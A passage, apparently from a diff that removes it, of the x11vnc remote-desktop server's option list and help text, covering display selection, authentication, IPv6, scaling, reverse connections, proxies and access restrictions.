- -sshxdmsvc -unixpw_system_greeter -redirect port
- -display WAIT:... -vencrypt mode -anontls mode
- -sslonly -dhparams file -nossl
- -ssl [pem] -ssltimeout n -sslnofail
- -ssldir dir -sslverify path -sslCRL path
- -sslGenCA [dir] -sslGenCert type name -sslEncKey pem
- -sslCertInfo pem -sslDelCert pem -sslScripts
- -stunnel [pem] -stunnel3 [pem] -enc cipher:keyfile
- -https [port] -httpsredir [port] -http_oneport
- -ssh user@host:disp -usepw -storepasswd pass file
- -nopw -accept string -afteraccept string
- -gone string -users list -noshm
- -flipbyteorder -onetile -solid [color]
- -blackout string -xinerama -noxinerama
- -xtrap -xrandr [mode] -rotate string
- -padgeom WxH -o logfile -flag file
- -rmflag file -rc filename -norc
- -env VAR=VALUE -prog /path/to/x11vnc -h, -help
- -?, -opts -V, -version -license
- -dbg -q, -quiet -v, -verbose
- -bg -modtweak -nomodtweak
- -xkb -noxkb -capslock
- -skip_lockkeys -noskip_lockkeys -skip_keycodes string
- -sloppy_keys -skip_dups -noskip_dups
- -add_keysyms -noadd_keysyms -clear_mods
- -clear_keys -clear_all -remap string
- -norepeat -repeat -nofb
- -nobell -nosel -noprimary
- -nosetprimary -noclipboard -nosetclipboard
- -seldir string -cursor [mode] -nocursor
- -cursor_drag -arrow n -noxfixes
- -alphacut n -alphafrac fraction -alpharemove
- -noalphablend -nocursorshape -cursorpos
- -nocursorpos -xwarppointer -noxwarppointer
- -always_inject -buttonmap string -nodragging
- -ncache n -ncache_cr -ncache_no_moveraise
- -ncache_no_dtchange -ncache_no_rootpixmap -ncache_keep_anims
- -ncache_old_wm -ncache_pad n -debug_ncache
- -wireframe [str] -nowireframe -nowireframelocal
- -wirecopyrect mode -nowirecopyrect -debug_wireframe
- -scrollcopyrect mode -noscrollcopyrect -scr_area n
- -scr_skip list -scr_inc list -scr_keys list
- -scr_term list -scr_keyrepeat lo-hi -scr_parms string
- -fixscreen string -debug_scroll -noxrecord
- -grab_buster -nograb_buster -debug_grabs
- -debug_sel -pointer_mode n -input_skip n
- -allinput -input_eagerly -speeds rd,bw,lat
- -wmdt string -debug_pointer -debug_keyboard
- -defer time -wait time -extra_fbur n
- -wait_ui factor -setdefer n -nowait_bog
- -slow_fb time -xrefresh time -nap
- -nonap -sb time -readtimeout n
- -ping n -nofbpm -fbpm
- -nodpms -dpms -forcedpms
- -clientdpms -noserverdpms -noultraext
- -chatwindow -noxdamage -xd_area A
- -xd_mem f -sigpipe string -threads
- -nothreads -fs f -gaps n
- -grow n -fuzz n -debug_tiles
- -snapfb -rawfb string -freqtab file
- -pipeinput cmd -macnodim -macnosleep
- -macnosaver -macnowait -macwheel n
- -macnoswap -macnoresize -maciconanim n
- -macmenu -macuskbd -macnoopengl
- -macnorawfb -gui [gui-opts] -remote command
- -query variable -QD variable -sync
- -query_retries str -remote_prefix str -noremote
- -yesremote -unsafe -safer
- -privremote -nocmds -allowedcmds list
- -deny_all
-
-LibVNCServer options:
--rfbport port TCP port for RFB protocol
--rfbwait time max time in ms to wait for RFB client
--rfbauth passwd-file use authentication on RFB protocol
- (use 'storepasswd' to create a password file)
--rfbversion 3.x Set the version of the RFB we choose to advertise
--permitfiletransfer permit file transfer support
--passwd plain-password use authentication
- (use plain-password as password, USE AT YOUR RISK)
--deferupdate time time in ms to defer updates (default 40)
--deferptrupdate time time in ms to defer pointer updates (default none)
--desktop name VNC desktop name (default "LibVNCServer")
--alwaysshared always treat new clients as shared
--nevershared never treat new clients as shared
--dontdisconnect don't disconnect existing clients when a new non-shared
- connection comes in (refuse new connection instead)
--httpdir dir-path enable http server using dir-path home
--httpport portnum use portnum for http connection
--enablehttpproxy enable http proxy support
--progressive height enable progressive updating for slow links
--listen ipaddr listen for connections only on network interface with
- addr ipaddr. '-listen localhost' and hostname work too.
-
-libvncserver-tight-extension options:
--disablefiletransfer disable file transfer
--ftproot string set ftp root
-
-
-
-
-% x11vnc -help
-
-x11vnc: allow VNC connections to real X11 displays. 0.9.13 lastmod: 2010-12-27
-
-(type "x11vnc -opts" to just list the options.)
-
-Typical usage is:
-
- Run this command in a shell on the remote machine "far-host"
- with X session you wish to view:
-
- x11vnc -display :0
-
- Then run this in another window on the machine you are sitting at:
-
- vncviewer far-host:0
-
-Once x11vnc establishes connections with the X11 server and starts listening
-as a VNC server it will print out a string: PORT=XXXX where XXXX is typically
-5900 (the default VNC server port). One would next run something like
-this on the local machine: "vncviewer hostname:N" where "hostname" is
-the name of the machine running x11vnc and N is XXXX - 5900, i.e. usually
-"vncviewer hostname:0".
-
-By default x11vnc will not allow the screen to be shared and it will exit
-as soon as the client disconnects. See -shared and -forever below to override
-these protections. See the FAQ for details how to tunnel the VNC connection
-through an encrypted channel such as ssh(1). In brief:
-
- ssh -t -L 5900:localhost:5900 far-host 'x11vnc -localhost -display :0'
-
- vncviewer -encodings 'copyrect tight zrle hextile' localhost:0
-
-Also, use of a VNC password (-rfbauth or -passwdfile) is strongly recommended.
-
-For additional info see: http://www.karlrunge.com/x11vnc/
- and http://www.karlrunge.com/x11vnc/faq.html
-
-
-Config file support: if the file $HOME/.x11vncrc exists then each line in
-it is treated as a single command line option. Disable with -norc. For
-each option name, the leading character "-" is not required. E.g. a line
-that is either "forever" or "-forever" may be used and are equivalent.
-Likewise "wait 100" or "-wait 100" are acceptable and equivalent lines.
-The "#" character comments out to the end of the line in the usual way
-(backslash it for a literal). Leading and trailing whitespace is trimmed off.
-Lines may be continued with a "\" as the last character of a line (it
-becomes a space character).
-
-Options:
-
--display disp X11 server display to connect to, usually :0. The X
- server process must be running on same machine and
- support MIT-SHM. Equivalent to setting the DISPLAY
- environment variable to "disp".
-
- See the description below of the "-display WAIT:..."
- extensions, where alias "-find" will find the user's
- display automatically, and "-create" will create a
- Xvfb session if no session is found.
-
--auth file Set the X authority file to be "file", equivalent to
- setting the XAUTHORITY environment variable to "file"
- before startup. Same as -xauth file. See Xsecurity(7),
- xauth(1) man pages for more info.
-
- Use '-auth guess' to have x11vnc use its -findauth
- mechanism (described below) to try to guess the
- XAUTHORITY filename and use it.
-
- XDM/GDM/KDM: if you are running x11vnc as root and want
- to find the XAUTHORITY before anyone has logged into an
- X session yet, use: x11vnc -env FD_XDM=1 -auth guess ...
- (This will also find the XAUTHORITY if a user is already
- logged into the X session.) When running as root,
- FD_XDM=1 will be tried if the initial -auth guess fails.
-
--N If the X display is :N, try to set the VNC display to
- also be :N This just sets the -rfbport option to 5900+N
- The program will exit immediately if that port is not
- available. The -N option only works with normal -display
- usage, e.g. :0 or :8, -N is ignored in the -display
- WAIT:..., -create, -find, -svc, -redirect, etc modes.
-
--autoport n Automatically probe for a free VNC port starting at n.
- The default is to start probing at 5900. Use this to
- stay away from other VNC servers near 5900.
-
--rfbport str The VNC port to listen on (a LibVNCServer option), e.g.
- 5900, 5901, etc. If specified as "-rfbport PROMPT"
- then the x11vnc -gui is used to prompt the user to
- enter the port number.
-
--6 IPv6 listening support. In addition to IPv4, the
- IPv6 address is listened on for incoming connections.
- The same port number as IPv4 is used.
-
- NOTE: This x11vnc binary was compiled to have the
- "-6" IPv6 listening mode ENABLED by default (CPPFLAGS
- -DX11VNC_LISTEN6=1). So to disable IPv6 listening mode
- you MUST supply the "-no6" option (see below.)
-
- The "-6" mode works for both normal connections and
- -ssl encrypted ones. Nearly everything is supported
- for the IPv6 case, but there are a few exceptions.
- See -stunnel for its IPv6 support.
-
- Currently, for absolutely everything to work correctly
- the machine may need to have some IPv4 support, at the
- least for the loopback interface. However, for nearly
- all usage modes no IPv4 support is required. See -nopiv4
-.
-
- If you have trouble compiling or running in IPv6 mode,
- set -DX11VNC_IPV6=0 in CPPFLAGS when configuring to
- disable IPv6 support.
-
--no6 Disable IPv6 listening support (only useful if the
- "-6" mode is compiled in to be the default; see the
- X11VNC_LISTEN6 description above under "-6".)
-
--noipv6 Do not try to use IPv6 for any listening or connecting
- sockets. This includes both the listening service
- port(s) and outgoing connections from -connect,
- -connect_or_exit, or -proxy. Use this if you are having
- problems due to IPv6.
-
--noipv4 Do not try to use IPv4 for any listening or connecting
- sockets. This is mainly for exploring the behavior of
- x11vnc on an IPv6-only system, but may have other uses.
-
--reopen If the X server connection is disconnected, try to
- reopen the X display (up to one time.) This is of use
- for display managers like GDM (KillInitClients option)
- that kill x11vnc just after the user logs into the
- X session. Note: the reopened state may be unstable.
- Set X11VNC_REOPEN_DISPLAY=n to reopen n times and
- set X11VNC_REOPEN_SLEEP_MAX to the number of seconds,
- default 10, to keep trying to reopen the display (once
- per second.)
-
- Update: as of 0.9.9, x11vnc tries to automatically avoid
- being killed by the display manager by delaying creating
- windows or using XFIXES. So you shouldn't need to use
- KillInitClients=false as long as you log in quickly
- enough (within 45 seconds of connecting.) You can
- disable this by setting X11VNC_AVOID_WINDOWS=never.
- You can also set it to the number of seconds to delay.
-
--reflect host:N Instead of connecting to and polling an X display,
- connect to the remote VNC server host:N and be a
- reflector/repeater for it. This is useful for trying
- to manage the case of many simultaneous VNC viewers
- (e.g. classroom broadcasting) where, e.g. you put
- a repeater on each network switch, etc, to improve
- performance by distributing the load and network
- traffic. Implies -shared (use -noshared as a later
- option to disable). See the discussion below under
- -rawfb vnc:host:N for more details.
-
--id windowid Show the X window corresponding to "windowid" not
- the entire display. New windows like popup menus,
- transient toplevels, etc, may not be seen or may be
- clipped. Disabling SaveUnders or BackingStore in the
- X server may help show them. x11vnc may crash if the
- window is initially partially obscured, changes size,
- is iconified, etc. Some steps are taken to avoid this
- and the -xrandr mechanism is used to track resizes. Use
- xwininfo(1) to get the window id, or use "-id pick"
- to have x11vnc run xwininfo(1) for you and extract
- the id. The -id option is useful for exporting very
- simple applications (e.g. the current view on a webcam).
--sid windowid As -id, but instead of using the window directly it
- shifts a root view to it: this shows SaveUnders menus,
- etc, although they will be clipped if they extend beyond
- the window.
-
--appshare Simple application sharing based on the -id/-sid
- mechanism. Every new toplevel window that the
- application creates induces a new viewer window via
- a reverse connection. The -id/-sid and -connect
- options are required. Run 'x11vnc -appshare -help'
- for more info.
-
--clip WxH+X+Y Only show the sub-region of the full display that
- corresponds to the rectangle geometry with size WxH and
- offset +X+Y. The VNC display has size WxH (i.e. smaller
- than the full display). This also works for -id/-sid
- mode where the offset is relative to the upper left
- corner of the selected window. An example use of this
- option would be to split a large (e.g. Xinerama) display
- into two parts to be accessed via separate viewers by
- running a separate x11vnc on each part.
-
- Use '-clip xinerama0' to clip to the first xinerama
- sub-screen (if xinerama is active). xinerama1 for the
- 2nd sub-screen, etc. This way you don't need to figure
- out the WxH+X+Y of the desired xinerama sub-screen.
- screens are sorted in increasing distance from the
- (0,0) origin (I.e. not the Xserver's order).
-
--flashcmap In 8bpp indexed color, let the installed colormap flash
- as the pointer moves from window to window (slow).
- Also try the -8to24 option to avoid flash altogether.
--shiftcmap n Rare problem, but some 8bpp displays use less than 256
- colorcells (e.g. 16-color grayscale, perhaps the other
- bits are used for double buffering) *and* also need to
- shift the pixels values away from 0, .., ncells. "n"
- indicates the shift to be applied to the pixel values.
- To see the pixel values set DEBUG_CMAP=1 to print out
- a colormap histogram. Example: -shiftcmap 240
--notruecolor For 8bpp displays, force indexed color (i.e. a colormap)
- even if it looks like 8bpp TrueColor (rare problem).
--advertise_truecolor If the X11 display is indexed color, lie to clients
- when they first connect by telling them it is truecolor.
- To workaround RealVNC: inPF has colourMap but not 8bpp
- Use '-advertise_truecolor reset' to reset client fb too.
-
--visual n This option probably does not do what you think.
- It simply *forces* the visual used for the framebuffer;
- this may be a bad thing... (e.g. messes up colors or
- cause a crash). It is useful for testing and for some
- workarounds. n may be a decimal number, or 0x hex.
- Run xdpyinfo(1) for the values. One may also use
- "TrueColor", etc. see <X11/X.h> for a list. If the
- string ends in ":m" then for better or for worse
- the visual depth is forced to be m. You may want to
- use -noshm when using this option (so XGetImage may
- automatically translate the pixel data).
-
--overlay Handle multiple depth visuals on one screen, e.g. 8+24
- and 24+8 overlay visuals (the 32 bits per pixel are
- packed with 8 for PseudoColor and 24 for TrueColor).
-
- Currently -overlay only works on Solaris via
- XReadScreen(3X11) and IRIX using XReadDisplay(3).
- On Solaris there is a problem with image "bleeding"
- around transient popup menus (but not for the menu
- itself): a workaround is to disable SaveUnders
- by passing the "-su" argument to Xsun (in
- /etc/dt/config/Xservers).
-
- Use -overlay as a workaround for situations like these:
- Some legacy applications require the default visual to
- be 8bpp (8+24), or they will use 8bpp PseudoColor even
- when the default visual is depth 24 TrueColor (24+8).
- In these cases colors in some windows will be incorrect
- in x11vnc unless -overlay is used. Another use of
- -overlay is to enable showing the exact mouse cursor
- shape (details below).
-
- Under -overlay, performance will be somewhat slower
- due to the extra image transformations required.
- For optimal performance do not use -overlay, but rather
- configure the X server so that the default visual is
- depth 24 TrueColor and try to have all apps use that
- visual (e.g. some apps have -use24 or -visual options).
--overlay_nocursor Sets -overlay, but does not try to draw the exact mouse
- cursor shape using the overlay mechanism.
-
--8to24 [opts] Try this option if -overlay is not supported on your
- OS, and you have a legacy 8bpp app that you want to
- view on a multi-depth display with default depth 24
- (and is 32 bpp) OR have a default depth 8 display with
- depth 24 overlay windows for some apps. This option
- may not work on all X servers and hardware (tested
- on XFree86/Xorg mga driver and Xsun). The "opts"
- string is not required and is described below.
-
- This mode enables a hack where x11vnc monitors windows
- within 3 levels from the root window. If it finds
- any that are 8bpp it extracts the indexed color
- pixel values using XGetImage() and then applies a
- transformation using the colormap(s) to create TrueColor
- RGB values that it in turn inserts into bits 1-24 of
- the framebuffer. This creates a depth 24 "view"
- of the display that is then exported via VNC.
-
- Conversely, for default depth 8 displays, the depth
- 24 regions are read by XGetImage() and everything is
- transformed and inserted into a depth 24 TrueColor
- framebuffer.
-
- Note that even if there are *no* depth 24 visuals or
- windows (i.e. pure 8bpp), this mode is potentially
- an improvement over -flashcmap because it avoids the
- flashing and shows each window in the correct color.
-
- This method works OK, but may still have bugs and it
- does hog resources. If there are multiple 8bpp windows
- using different colormaps, one may have to iconify all
- but one for the colors to be correct.
-
- There may be painting errors for clipping and switching
- between windows of depths 8 and 24. Heuristics are
- applied to try to minimize the painting errors. One can
- also press 3 Alt_L's in a row to refresh the screen
- if the error does not repair itself. Also the option
- -fixscreen 8=3.0 or -fixscreen V=3.0 may be used to
- periodically refresh the screen at the cost of bandwidth
- (every 3 sec for this example).
-
- The [opts] string can contain the following settings.
- Multiple settings are separated by commas.
-
- For for some X servers with default depth 24 a
- speedup may be achieved via the option "nogetimage".
- This enables a scheme were XGetImage() is not used
- to retrieve the 8bpp data. Instead, it assumes that
- the 8bpp data is in bits 25-32 of the 32bit X pixels.
- There is no requirement that the X server should put
- the data there for our poll requests, but some do and
- so the extra steps to retrieve it can be skipped.
- Tested with mga driver with XFree86/Xorg. For the
- default depth 8 case this option is ignored.
-
- To adjust how often XGetImage() is used to poll the
- non-default visual regions for changes, use the option
- "poll=t" where "t" is a floating point time.
- (default: 0.05)
-
- Setting the option "level2" will limit the search
- for non-default visual windows to two levels from the
- root window. Do this on slow machines where you know
- the window manager only imposes one extra window between
- the app window and the root window.
-
- Also for very slow machines use "cachewin=t"
- where t is a floating point amount of time to cache
- XGetWindowAttributes results. E.g. cachewin=5.0.
- This may lead to the windows being unnoticed for this
- amount of time when deiconifying, painting errors, etc.
-
- While testing on a very old SS20 these options gave
- tolerable response: -8to24 poll=0.2,cachewin=5.0. For
- this machine -overlay is supported and gives better
- response.
-
- Debugging for this mode can be enabled by setting
- "dbg=1", "dbg=2", or "dbg=3".
-
--24to32 Very rare problem: if the framebuffer (X display
- or -rawfb) is 24bpp instead of the usual 32bpp, then
- dynamically transform the pixels to 32bpp. This will be
- slower, but can be used to work around problems where
- VNC viewers cannot handle 24bpp (e.g. "main: setPF:
- not 8, 16 or 32 bpp?"). See the FAQ for more info.
-
- In the case of -rawfb mode, the pixels are directly
- modified by inserting a 0 byte to pad them out to 32bpp.
- For X displays, a kludge is done that is equivalent to
- "-noshm -visual TrueColor:32". (If better performance
- is needed for the latter, feel free to ask).
-
--scale fraction Scale the framebuffer by factor "fraction". Values
- less than 1 shrink the fb, larger ones expand it. Note:
- the image may not be sharp and response may be slower.
- If "fraction" contains a decimal point "." it
- is taken as a floating point number, alternatively
- the notation "m/n" may be used to denote fractions
- exactly, e.g. -scale 2/3
-
- To scale asymmetrically in the horizontal and vertical
- directions, specify a WxH geometry to stretch to:
- e.g. '-scale 1024x768', or also '-scale 0.9x0.75'
-
- Scaling Options: can be added after "fraction" via
- ":", to supply multiple ":" options use commas.
- If you just want a quick, rough scaling without
- blending, append ":nb" to "fraction" (e.g. -scale
- 1/3:nb). No blending is the default for 8bpp indexed
- color, to force blending for this case use ":fb".
-
- To disable -scrollcopyrect and -wirecopyrect under
- -scale use ":nocr". If you need to to enable them use
- ":cr" or specify them explicitly on the command line.
- If a slow link is detected, ":nocr" may be applied
- automatically. Default: :cr
-
- More esoteric options: for compatibility with vncviewers
- the scaled width is adjusted to be a multiple of 4:
- to disable this use ":n4". ":in" use interpolation
- scheme even when shrinking, ":pad" pad scaled width
- and height to be multiples of scaling denominator
- (e.g. 3 for 2/3).
-
--geometry WxH Same as -scale WxH
-
--scale_cursor frac By default if -scale is supplied the cursor shape is
- scaled by the same factor. Depending on your usage,
- you may want to scale the cursor independently of the
- screen or not at all. If you specify -scale_cursor
- the cursor will be scaled by that factor. When using
- -scale mode to keep the cursor at its "natural" size
- use "-scale_cursor 1". Most of the ":" scaling
- options apply here as well.
-
--viewonly All VNC clients can only watch (default off).
--shared VNC display is shared, i.e. more than one viewer can
- connect at the same time (default off).
--once Exit after the first successfully connected viewer
- disconnects, opposite of -forever. This is the Default.
--forever Keep listening for more connections rather than exiting
- as soon as the first client(s) disconnect. Same as -many
-
- To get the standard non-shared VNC behavior where when
- a new VNC client connects the existing VNC client is
- dropped use: -nevershared -forever This method can
- also be used to guard against hung TCP connections that
- do not go away.
-
--loop Create an outer loop restarting the x11vnc process
- whenever it terminates. -bg and -inetd are ignored
- in this mode (however see -loopbg below).
-
- Useful for continuing even if the X server terminates
- and restarts (at that moment the process will need
- permission to reconnect to the new X server of course).
-
- Use, e.g., -loop100 to sleep 100 millisecs between
- restarts, etc. Default is 2000ms (i.e. 2 secs) Use,
- e.g. -loop300,5 to sleep 300 ms and only loop 5 times.
-
- If -loopbg (plus any numbers) is specified instead,
- the "-bg" option is implied and the mode approximates
- inetd(8) usage to some degree. In this case when
- it goes into the background any listening sockets
- (i.e. ports 5900, 5800) are closed, so the next one
- in the loop can use them. This mode will only be of
- use if a VNC client (the only client for that process)
- is already connected before the process goes into the
- background, for example, usage of -display WAIT:..,
- -svc, and -connect can make use of this "poor man's"
- inetd mode. The default wait time is 500ms in this
- mode. This usage could use useful: -svc -bg -loopbg
-
--timeout n Exit unless a client connects within the first n seconds
- after startup.
-
- If there have been no connection attempts after n
- seconds x11vnc exits immediately. If a client is
- trying to connect but has not progressed to the normal
- operating state, x11vnc gives it a few more seconds
- to finish and exits if it does not make it to the
- normal state.
-
- For reverse connections via -connect or -connect_or_exit
- a timeout of n seconds will be set for all reverse
- connects. If the connect timeout alarm goes off,
- x11vnc will exit immediately.
-
--sleepin n At startup sleep n seconds before proceeding (e.g. to
- allow redirs and listening clients to start up)
-
- If a range is given: '-sleepin min-max', a random value
- between min and max is slept. E.g. '-sleepin 0-20' and
- '-sleepin 10-30'. Floats are allowed too.
-
--inetd Launched by inetd(8): stdio instead of listening socket.
- Note: if you are not redirecting stderr to a log file
- (via shell 2> or -o option) you MUST also specify the -q
- option, otherwise the stderr goes to the viewer which
- will cause it to abort. Specifying both -inetd and -q
- and no -o will automatically close the stderr.
-
--tightfilexfer Enable the TightVNC file transfer extension. Note that
- that when the -viewonly option is supplied all file
- transfers are disabled. Also clients that log in
- viewonly cannot transfer files. However, if the remote
- control mechanism is used to change the global or
- per-client viewonly state the filetransfer permissions
- will NOT change.
-
- IMPORTANT: please understand if -tightfilexfer is
- specified and you run x11vnc as root for, say, inetd
- or display manager (gdm, kdm, ...) access and you do
- not have it switch users via the -users option, then
- VNC Viewers that connect are able to do filetransfer
- reads and writes as *root*.
-
- Also, tightfilexfer is disabled in -unixpw mode.
-
--ultrafilexfer Note: to enable UltraVNC filetransfer and to get it to
- work you probably need to supply these LibVNCServer
- options: "-rfbversion 3.6 -permitfiletransfer"
- "-ultrafilexfer" is an alias for this combination.
-
- IMPORTANT: please understand if -ultrafilexfer is
- specified and you run x11vnc as root for, say, inetd
- or display manager (gdm, kdm, ...) access and you do
- not have it switch users via the -users option, then
- VNC Viewers that connect are able to do filetransfer
- reads and writes as *root*.
-
- Note that sadly you cannot do both -tightfilexfer and
- -ultrafilexfer at the same time because the latter
- requires setting the version to 3.6 and tightvnc will
- not do filetransfer when it sees that version number.
-
--http Instead of using -httpdir (see below) to specify
- where the Java vncviewer applet is, have x11vnc try
- to *guess* where the directory is by looking relative
- to the program location and in standard locations
- (/usr/local/share/x11vnc/classes, etc). Under -ssl or
- -stunnel the ssl classes subdirectory is sought.
--http_ssl As -http, but force lookup for ssl classes subdir.
-
- Note that for HTTPS, single-port Java applet delivery
- you can set X11VNC_HTTPS_DOWNLOAD_WAIT_TIME to the
- max number of seconds to wait for the applet download
- to finish. The default is 15.
-
--avahi Use the Avahi/mDNS ZeroConf protocol to advertise
- this VNC server to the local network. (Related terms:
- Rendezvous, Bonjour). Depending on your setup, you
- may need to start avahi-daemon and open udp port 5353
- in your firewall.
-
- You can set X11VNC_AVAHI_NAME, X11VNC_AVAHI_HOST,
- and/or X11VNC_AVAHI_PORT environment variables
- to override the default values. For example:
- -env X11VNC_AVAHI_NAME=wally
-
- If the avahi API cannot be found at build time, a helper
- program like avahi-publish(1) or dns-sd(1) will be tried
-
--mdns Same as -avahi.
--zeroconf Same as -avahi.
-
--connect string For use with "vncviewer -listen" reverse connections.
- If "string" has the form "host" or "host:port"
- the connection is made once at startup.
-
- Use commas for a list of host's and host:port's.
- E.g. -connect host1,host2 or host1:0,host2:5678.
- Note that to reverse connect to multiple hosts at the
- same time you will likely need to also supply: -shared
-
- Note that unlike most vnc servers, x11vnc will require a
- password for reverse as well as for forward connections.
- (provided password auth has been enabled, -rfbauth, etc)
- If you do not want to require a password for reverse
- connections set X11VNC_REVERSE_CONNECTION_NO_AUTH=1 in
- your environment before starting x11vnc.
-
- If "string" contains "/" it is instead interpreted
- as a file to periodically check for new hosts.
- The first line is read and then the file is truncated.
- Be careful about the location of this file if x11vnc
- is running as root (e.g. via gdm(1), etc).
-
-
- Repeater mode: Some services provide an intermediate
- "vnc repeater": http://www.uvnc.com/addons/repeater.html
- (and also http://koti.mbnet.fi/jtko/ for linux port)
- that acts as a proxy/gateway. Modes like these require
- an initial string to be sent for the reverse connection
- before the VNC protocol is started. Here are the ways
- to do this:
-
- -connect pre=some_string+host:port
- -connect pre128=some_string+host:port
- -connect repeater=ID:1234+host:port
- -connect repeater=23.45.67.89::5501+host:port
-
- SSVNC notation is also supported:
-
- -connect repeater://host:port+ID:1234
-
- As with normal -connect usage, if the repeater port is
- not supplied 5500 is assumed.
-
- The basic idea is between the special tag, e.g. "pre="
- and "+" is the pre-string to be sent. Note that in
- this case host:port is the repeater server, NOT the
- vnc viewer. Somehow the pre-string tells the repeater
- server how to find the vnc viewer and connect you to it.
-
- In the case pre=some_string+host:port, "some_string"
- is simply sent. In the case preNNN=some_string+host:port
- "some_string" is sent in a null padded buffer of
- length NNN. repeater= is the same as pre250=, this is
- the ultravnc repeater buffer size.
-
- Strings like "\n" and "\r", etc. are expanded to
- newline and carriage return. "\c" is expanded to
- "," since the connect string is comma separated.
-
- See also the -proxy option below for additional ways
- to plumb reverse connections.
-
- Reverse SSL: using -connect in -ssl mode makes x11vnc
- act as an SSL client (initiates SSL connection) rather
- than an SSL server. The idea is x11vnc might be
- connecting to stunnel on the viewer side with the
- viewer in listening mode. If you do not want this
- behavior, use -env X11VNC_DISABLE_SSL_CLIENT_MODE=1.
- With this the viewer side can act as the SSL client
- as it normally does for forward connections.
-
- Reverse SSL Repeater mode: This will work, but note
- that if the VNC Client does any sort of a 'Fetch Cert'
- action before connecting, then the Repeater will
- likely drop the connection and both sides will need
- to restart. Consider the use of -connect_or_exit
- and -loop300,2 to have x11vnc reconnect once to the
- repeater after the fetch. You will probably also want
- to supply -sslonly to avoid x11vnc thinking the delay
- in response means the connection is VeNCrypt. The env
- var X11VNC_DISABLE_SSL_CLIENT_MODE=1 discussed above
- may also be useful (i.e. the viewer can do a forward
- connection as it normally does.)
-
- IPv6: as of x11vnc 0.9.10 the -connect option should
- connect to IPv6 hosts properly. If there are problems
- you can disable IPv6 by setting -DX11VNC_IPV6=0
- in CPPFLAGS when configuring. If there problems
- connecting to IPv6 hosts consider a relay like the
- included inet6to4 script or the -proxy option.
-
--connect_or_exit str As with -connect, except if none of the reverse
- connections succeed, then x11vnc shuts down immediately
-
- An easier to type alias for this option is '-coe'
-
- By the way, if you do not want x11vnc to listen on
- ANY interface use -rfbport 0 which is handy for the
- -connect_or_exit mode.
-
--proxy string Use proxy in string (e.g. host:port) as a proxy for
- making reverse connections (-connect or -connect_or_exit
- options).
-
- Web proxies are supported, but note by default most of
- them only support destination connections to ports 443
- or 563, so this might not be very useful (the viewer
- would need to listen on that port or the router would
- have to do a port redirection).
-
- A web proxy may be specified by either "host:port"
- or "http://host:port" (the port is required even if
- it is the common choices 80 or 8080)
-
- SOCKS4, SOCKS4a, and SOCKS5 are also supported.
- SOCKS proxies normally do not have restrictions on the
- destination port number.
-
- Use a format like this: socks://host:port or
- socks5://host:port. Note that ssh -D does not support
- SOCKS4a, so use socks5://. For socks:// SOCKS4 is used
- on a numerical IP and "localhost", otherwise SOCKS4a
- is used (and so the proxy tries to do the DNS lookup).
-
- An experimental mode is "-proxy http://host:port/..."
- Note the "/" after the port that distinguishes it from
- a normal web proxy. The port must be supplied even if
- it is the default 80. For this mode a GET is done to
- the supplied URL with the string host=H&port=P appended.
- H and P will be the -connect reverse connect host
- and port. Use the string "__END__" to disable the
- appending. The basic idea here is that maybe some cgi
- script provides the actual viewer hookup and tunnelling.
- How to actually achieve this within cgi, php, etc. is
- not clear... A custom web server or apache module
- would be straight-forward.
-
- Another experimental mode is "-proxy ssh://user@host"
- in which case a SSH tunnel is used for the proxying.
- "user@" is not needed unless your unix username is
- different on "host". For a non-standard SSH port
- use ssh://user@host:port. If proxies are chained (see
- next paragraph) then the ssh one must be the first one.
- If ssh-agent is not active, then the ssh password needs
- to be entered in the terminal where x11vnc is running.
- Examples:
-
- -connect localhost:0 -proxy ssh://me@friends-pc:2222
-
- -connect snoopy:0 -proxy ssh://ssh.company.com
-
- Multiple proxies may be chained together in case one
- needs to ricochet off of a number of hosts to finally
- reach the VNC viewer. Up to 3 may be chained, separate
- them by commas in the order they are to be connected to.
- E.g.: http://host1:port1,socks5://host2:port2 or three
- like: first,second,third
-
- IPv6: as of x11vnc 0.9.10 the -proxy option should
- connect to IPv6 hosts properly. If there are problems
- you can disable IPv6 by setting -DX11VNC_IPV6=0
- in CPPFLAGS when configuring. If there problems
- connecting to IPv6 hosts consider a relay like the
- included inet6to4 script.
-
--vncconnect Monitor the VNC_CONNECT X property set by the standard
--novncconnect VNC program vncconnect(1). When the property is
- set to "host" or "host:port" establish a reverse
- connection. Using xprop(1) instead of vncconnect may
- work (see the FAQ). The -remote control mechanism uses
- X11VNC_REMOTE channel, and this option disables/enables
- it as well. Default: -vncconnect
-
- To use different names for these X11 properties (e.g. to
- have separate communication channels for multiple
- x11vnc's on the same display) set the VNC_CONNECT or
- X11VNC_REMOTE env. vars. to the string you want, for
- example: -env X11VNC_REMOTE=X11VNC_REMOTE_12345
- Both sides of the channel must use the same unique name.
- The same can be done for the internal X11VNC_TICKER
- property (heartbeat and timestamp) if desired.
-
--allow host1[,host2..] Only allow client connections from hosts matching
- the comma separated list of hostnames or IP addresses.
- Can also be a numerical IP prefix, e.g. "192.168.100."
- to match a simple subnet, for more control build
- LibVNCServer with libwrap support (See the FAQ). If the
- list contains a "/" it instead is a interpreted
- as a file containing addresses or prefixes that is
- re-read each time a new client connects. Lines can be
- commented out with the "#" character in the usual way.
-
- -allow applies in -ssl mode, but not in -stunnel mode.
-
- IPv6: as of x11vnc 0.9.10 a host can be specified
- in IPv6 numerical format, e.g. 2001:4860:b009::93.
-
--localhost Basically the same as "-allow 127.0.0.1".
-
- Note: if you want to restrict which network interface
- x11vnc listens on, see the -listen option below.
- E.g. "-listen localhost" or "-listen 192.168.3.21".
- As a special case, the option "-localhost" implies
- "-listen localhost".
-
- A rare case, but for non-localhost -listen usage, if
- you use the remote control mechanism (-R) to change
- the -listen interface you may need to manually adjust
- the -allow list (and vice versa) to avoid situations
- where no connections (or too many) are allowed.
-
- If you do not want x11vnc to listen on ANY interface
- (evidently you are using -connect or -connect_or_exit,
- or plan to use remote control: -R connect:host), use
- -rfbport 0
-
- IPv6: if IPv6 is supported, this option automatically
- implies the IPv6 loopback address '::1' as well.
-
--unixsock str Listen on the unix socket (AF_UNIX) 'str'
- for connections. This mode is for either local
- connections or a tunnel endpoint where one wants the
- file permission of the unix socket file to determine
- what can connect to it. (This currently requires an
- edit to libvnserver/rfbserver.c: comment out lines 310
- and 311, 'close(sock)' and 'return NULL' in rfbserver.c
- after the setsockopt() call.) Note that to disable all
- tcp listening ports specify '-rfbport 0' and should be
- useful with this mode. Example:
- mkdir ~/s; chmod 700 ~/s;
- x11vnc -unixsock ~/s/mysock -rfbport 0 ...
- The SSVNC unix vncviewer can connect to unix sockets.
-
--listen6 str When in IPv6 listen mode "-6", listen only on the
- network interface with address "str". It also works
- for link scope addresses (fe80::219:dbff:fee5:3f92%eth0)
